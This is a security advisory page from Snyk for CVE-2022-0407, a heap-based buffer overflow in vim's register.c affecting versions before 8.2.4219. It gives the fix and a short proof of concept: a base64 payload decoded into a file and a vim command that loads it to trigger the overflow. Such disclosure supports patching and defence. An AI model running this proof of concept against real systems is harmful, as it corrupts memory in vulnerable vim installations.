Heap-based Buffer Overflow Affecting vim/vim package, versions [,8.2.4219)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.17% (54th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-UNMANAGED-VIMVIM-2935882
  • published26 Jun 2022
  • disclosed26 Jun 2022
  • creditpres1er

Introduced: 26 Jun 2022

CVE-2022-0407  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade vim/vim to version 8.2.4219 or higher.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the yank_copy_line of register.c when reading before the start of the line.

PoC:

echo -n c2lsIW5vcm0wbxSA/zAWenk= | base64 -d > heap_ow_poc3

vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc3 -c :qa!

References

CVSS Scores

version 3.1